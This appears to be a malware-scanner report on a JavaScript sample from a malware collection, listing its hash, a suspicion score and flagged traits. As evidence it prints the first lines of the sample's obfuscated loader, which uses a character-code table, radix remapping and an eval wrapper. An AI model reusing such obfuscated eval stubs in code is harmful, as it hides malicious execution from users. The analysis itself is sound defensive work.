Suspicious ^80% javascript-malware-collection Download

20151208_ee5cfa8e39cf33215329a88c85bb8919.js

Obfuscated eval and dynamic execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2565a289c06168760716bd684448e5e235f9625c62538439c8bdfa6abe9ee55fe8a

Evidence

Obfuscated increment/decrement via arithmetic lines 1–3

1var zcwmUpVdplCxR=[];for(DnRpCSw=(-444+444)/425;DnRpCSw<(99780+956)/787;DnRpCSw++){zcwmUpVdplCxR[DnRpCSw]=String.fromCharCode(DnRpCSw)}function YgdQo(TtfjLLMlrrp,oHzOneUPTLdWf,rbijaEat){ZSNw=parseInt(TtfjLLMlrrp,oHzOneUPTLdWf);LUxxy=ZSNw.toString(rbijaEat);return LUxxy;}function oUmMrKRZmTlsIAF(FQFwrWdXXuuQILFzu){eval(FQFwrWdXXuuQILFzu)}
2function HlNHBgulDlTTMlhVyExbbQFldMYPjQNDdzTubXEHcUDHaLRSSVbGHN(WYDNXdDTbBqgV,svkTqDhjJySuuO){ return zcwmUpVdplCxR[YgdQo(WYDNXdDTbBqgV[svkTqDhjJySuuO],(8602+888)/949,(9284+6)/929)];}
3function cxZMgGU(HDcsIjgArqLpBinCNBCGRbImqBsKxaVYDSrp) {return !isNaN(parseFloat(HDcsIjgArqLpBinCNBCGRbImqBsKxaVYDSrp)) && isFinite(HDcsIjgArqLpB …